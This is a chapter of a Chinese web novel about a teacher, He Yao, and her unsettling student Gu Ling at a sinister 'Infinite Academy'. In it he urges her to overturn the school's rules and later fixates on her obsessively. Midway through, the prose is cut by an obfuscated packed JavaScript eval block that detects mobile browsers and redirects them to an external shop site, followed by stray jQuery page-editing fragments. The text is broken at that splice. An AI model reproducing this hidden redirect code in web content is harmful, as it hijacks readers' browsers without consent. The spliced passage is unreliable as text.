也许，她今日的异常表现已经让梅花11顾凌起了疑心，于是，他才要这样试探？
何瑶背后冷汗涔涔又用了几分力气，将顾凌拉起，找补：“我的意思是，不说这些了。”
从对方手里强行拽过那用来绑腿用的丝带，以平生最快的速度，将两人的小腿绑在一块儿，含糊结束这个话题：“咱们开始后练习吧？我查过相关资料，两人三足这种比赛最重要的是两名参赛者之间的默契；如果没有默契，如果约定好口号，按照一定的节奏行进，比如我喊1的时候你迈左脚我迈右脚，这样走起来也会很快……”
抬头，顾凌仍直勾勾地盯着她，目光却柔和了许多，薄唇轻启，声线温柔：“老师，你想改变吗？”
“改口号？行，你不愿意喊121，我们可以改成‘左右左’，或者，也可以改成‘土豆萝卜’？‘苹果西瓜’？‘东西南北’？‘赵钱孙李’？‘酸甜苦辣’……？”
“老师，你想要改变这里的规则吗？”
何瑶的视线漂移到远处看不到的尽头：“我们先准备运动会……”
顾凌弯下腰，将两人腿上的白丝带又紧了紧：“如你所愿。”
何瑶松一口气：“我们承载了整个班的希望，怎么说这次也得拿个名次吧……？”
顾凌：“嗯，只要你想，就一定可以。”
何瑶觉得他话里有话，却又只能装作听不懂的样子，像一位工作多年的老教师那样装傻絮叨：“功夫不负有心人嘛，咱们努力练习，配合默契，肯定没有问题！”
“也有别的办法。”
这话，真的难接。
何瑶实在不知道顾凌今天到底想要做什么，干脆表示：“好了，咱们不要浪费时间，早点练习，早点休息。既然你对121这个口号没意见，咱们就用这个，说好啦，我说1你的时候你迈出左腿……先试试！”
何瑶清了清嗓子：“1——”
她迈出右脚，但身旁的顾凌却纹丝未动。
何瑶收紧核心发力——她的力气比普通人大许多，本来怕伤着顾凌，还收了几分，但没想到，顾凌竟然纹丝未动。
用尽全力，顾凌才勉强挪了一点——纯粹地被动地挪动。
这样怎么可能赢？！
何瑶愤怒地仰头看向顾凌。
顾凌仍在微笑，只是那惯常算得上温和的笑容，此刻却让何瑶不禁心头一颤，汗毛竖起。
刚才消失的那种感觉又回来了——那种身批圣光，却似乎要邀请人到地狱一叙的感觉席卷而至。
何瑶不禁后退一步。
没有口令，但这一次，顾凌却默契地跟上。
“只要改变规则，那么冠军，不过探囊取物。”
“这里的规则，由强者书写——搞掉教导主任，推翻校长……这一切，都会由你主宰。”
何瑶：？？
这……如果她没有理解错，那么，这位看似乖巧的学生，这是在进行诱导她进行反抗校园霸权的……洗脑？？
虽然何瑶从心底里并不认同无限学院的教育理念，但，顾凌这话无论从何种角度解读，都很奇怪吧？
在学生眼里，难道老师不应该天然地就跟学校站在一起吗？
即便学生对学校不满，那也不应该怂恿老师——尤其是一位新老师进行反抗吧？
难道——这是，陷阱？
不不不，优先怀疑学生可不是一位好老师应该采取的行为。
可这里，是无限学院，又不是现实世界……
何瑶眉头紧锁。
顾凌垂眸，将何瑶因为纠结而愈发清晰的眉梢上的小绒毛都一览无余。
这些小绒毛看着可没有这位老师本人那般顽强，轻柔，颜色接近透明，似乎一点点微风就能将它们压垮——但顾凌知道，这都是表象。
就像他的这位“老师”一样，只是擅长用柔弱的外表欺骗大意又自负的敌人。
而唯有他这样细心、谨慎、真正强悍的人，才能勘破这些虚伪，窥见那坚韧不屈的强大。
她，是不同的。他对她，也是不同的。
顾凌愈发兴奋，忍不住，又轻轻舔了舔愈发干涸的上颚。
他们是一类人——天生就应该站在一起的一类人。
所以，顾凌清了清嗓子，开口：“老师，也有别的方法。”
何瑶依然没有回应。
顾凌抬手，指向不远处的那扇雕花木门：“可以求助，JOKER.”
何瑶不明所以：“JOKER不应该是序列里的最强者——是学生么？”
顾凌：“无限学院的序列，是按照实力排列——但是，这不仅根据无限学院内的实力，也是他们在整个世界的实力排位。JOKER，是站在世界顶端的存在。得到他的支持，你自然就可以改变这里的规则。”
听上去似乎很简单，但是，何瑶：“但无限学院也是一所学校，有校董、校长、教导主任、教职员工，如果JOKER是最强者，那么他为什么要待在无限学院里，做一名学生呢？JOKER与他们是什么关系？”
她记得，《指导手册》里面提到了学校的董事团，里面没有人叫JOKER，也没有人使用这个头衔。
“谁知道呢？但我觉得，JOKER会回应你的诉求。”
何瑶：……
一个无聊的优等生，要为了一个没有什么交情的年轻老师去跟无限学院的领导们作对？
要么她是傻子，要么顾凌是傻子，要么JOKER是傻子——反正，肯定有一个傻子。
何瑶觉得自己不是那个傻子，JOKER这种级别的人物，应该也不是傻子。
emmm...
何瑶复杂地看着顾凌：虽然这学生看起来还算正常，但如今看起来，应该也已经被养歪了。
算了，身为老师，更应该包容这样的孩子。
据说叹气会带走好运，马上就要运动会，何瑶强忍着叹气的冲动，郑重表示：“顾凌同学。”
“嗯？”
“未来要靠自己争取，怎么能够将希望寄托在虚无缥缈的他人身上？”
“虚无缥缈的……他人？”
何瑶觉得顾凌这话里有话，抬眼看去，却见灿如白昼的灯光，衬得顾凌脸上的笑意仿佛一点点退下的潮水，只余下干净得接近冷酷、不近人情的白。
顾凌在生气——很典型，学生遇到不愉快的事情就喜欢将挂在脸上。
但何瑶也很是无语。
她还能说什么？难道她要直白地告诉自己的学生：嗨，你诡计老师都识破啦，老师不会上当的，略略略！
……那显然也是不能的。
顾凌明显成年了，这个时候的孩子可都要面子的。
但不点一点，被学生当傻子，也不行。
左思右想，何瑶还是决定先委婉一点：“顾凌啊，老师有基本的判断能力——什么人值得信任，什么话能听，老师心里还是有数的。”
顾凌的脸色更白了几分，淡色的瞳仁似乎也蒙上一层薄冰：“老师认为，我不值得信任，我在骗你？”
按捺住点头的冲动，何瑶忽悠：“我愿意相信你，但我害怕的是你被人欺骗、利用。”
顾凌讽刺一笑。
何瑶注视着顾凌，不错过他脸上每一个细微的表情，努力忽悠：“无限学院里流传着不少关于JOKER的传说吧？”
顾凌没有否认。
何瑶：“也有不少人想要得到JOKER的帮助吧？”
顾凌默认。
何瑶：“那些人得到JOKER的帮助了吗？”
“没有。”
“那些人见到JOKER了吗？”
“……没有。”
何瑶双手一摊：“你看，这算不算虚无缥缈？——再者说，天上不会掉馅饼，即便见到了，代价我这样的穷人可付不起。”
不等顾凌回答，何瑶又接着：“我知道你可能从别的同学或者老师那里得到了一些信息，也许你觉得这能帮得上我；又或许……”
何瑶意味深长地看了顾凌一眼，一切尽在不言中。
顿了顿，语调一转：“但是，不是所有的信息都可靠，也并非所有的人都可信。”
顾凌周身气压更低：“老师觉得JOKER不可信？”
何瑶没有直接回答这个问题，只拍了拍顾凌的肩膀：“顾凌，校园外的社会很复杂——社会上的人可没有校园里的这么……"
何瑶卡壳——好像，按照无限学院正常的培养逻辑，这里面的师生应该和“单纯”“善良”这样的字眼不沾边。
只好及时刹车，拍着自己的胸脯保证：“也没有老师我这么关心、爱护你。很多人不是非黑即白，不少人更是心怀鬼胎，万事总要多留心……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196631|184558||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“所以，你关心、爱护我？”
“啊？对。”
虽然不知道为什么自己这位学生能从这么一大段说教里偏偏提取到这一句，但何瑶下了班会课后，也在无限学院的app力翻找到了好几个被认定为优秀的教学实录。
反复观看后，何瑶确定“关心、爱护”学生这样的口头禅是可以的——只是，就具体的事件和教学内容来看，表扬类的话必须要刻薄、恶毒、充满敌意、饱含偏见、及尽贬低……
简单来说，就是打着为学生好的旗号，以具体的语言、行为，让学生不往好的方向发展，变得恶毒、自私、心机深沉、睚眦必报……
就是，用PUA的手段，将学生逼上绝境。
比起那些老师，她认下“关心、爱护”学生这句话，何瑶深觉问心无愧。
回答完顾凌的问题，何瑶更是自信满满地点了点头。
一瞬间，那浅色眸子里的寒冰轻轻化开，温柔的笑意又重新回到顾凌的脸上。
他轻轻靠近，手背似乎不经意间擦过何瑶的小臂。
“我知道了。”
虽不清楚对方到底知道了什么，但看样子，短期内顾凌应该不会再用这样的手段算计她。
达成初步的目标，何瑶心中也轻快了不少，紧握双拳：“那咱们抓紧时间练习吧！”
“好。”
“顾凌同学，咱们上场的时候喊什么口号？”
“顾凌。”
“啊？”
“叫我顾凌。”
见对方一幅不答应就不动的样子，伪装家访的时候自己也不是没有喊过学生的名字，何瑶一耸肩，答应：“顾凌，那我们用什么口号。”
“听你的。”
“那就一二一？我喊一的时候咱们一起迈出绑在一起的那条腿？”
“好。”
“那咱们先试个100米？”
“好。”
……
两人虽然从没有参加过这样的运动，但何瑶运动神经发达，总能及时调整自己的姿势，达到最佳状态；而顾凌则表现出极强的配合能力。
几次试验下来，何瑶心满意足：“只要不出意外，咱们肯定能拿到名次。今天谢谢你了，顾凌。”
一番练习下来，何瑶出了点汗，虽然顾凌的提问偏低，凉飕飕的，但一冷一热，何瑶总觉得十分别扭，所以她果断弯下腰，解开绑着两人小腿的白丝带，放到顾凌手上后，立刻拉开与他的距离。
顾凌脸上的笑容淡了几分，但何瑶并没有察觉。
她从帆布包里取出一条发带，将微微被汗水浸湿的头发扎起，露出一节雪白的脖颈。
挥了挥手，何瑶转身离开：“顾凌，咱们练得差不多了，运动会也没几天，咱们保存体力就不用再练了啊——你这几天多休息，咱们到时候见！”
根本没有给顾凌说话的机会，便消失在这长廊里。
硕大的水晶灯下，顾凌一个人仍站在原地。
半晌，他将那早已毫无温度的白色丝带，一圈又一圈缠在了自己的脖颈上。
轻笑，明亮的水晶灯瞬间熄灭。
原本如同旧日宫廷般的大厅顷刻间翻天覆地：黑色荆棘，深绿沼泽，累累头骨，凄凄呜咽，萧萧风声……
不像是墓园，却比陵墓更为可怖。
顾凌一挥手，身后的门便打开。
里面只有再简单不过的格局：桌，椅，床，一个干净的卫生间。
顾凌凝视着他最熟悉不过的场景，眉峰微蹙，抬手，目之所及又变回方才何瑶在的时候的模样。
迈入他待了多年的屋子，屈指敲了敲桌子，那平平无奇的单人桌焕然一新，不多不少，刚好能同时容许两人在上面做很多事情。
板正无奇的椅子也变成两把——柔软，干净，宽大，即便两人窝在一张椅子上，不会逼仄，当然，也不会宽敞。
最后，他仰面倒在那雪白的仿佛从医院里直接搬过来的床上。
床陡然扩大，从单人床变成双人床。
床品也从普普通通的白色棉布，变成细腻柔软的真丝。
顾凌躺着，将缠绕在脖颈间的白绸带解开一小段，放在鼻尖下轻轻嗅着。
好想好想好想——
好想，舔，她——这就是“爱”吗？
已经回到教师宿舍的何瑶，小腿蓦地一凉。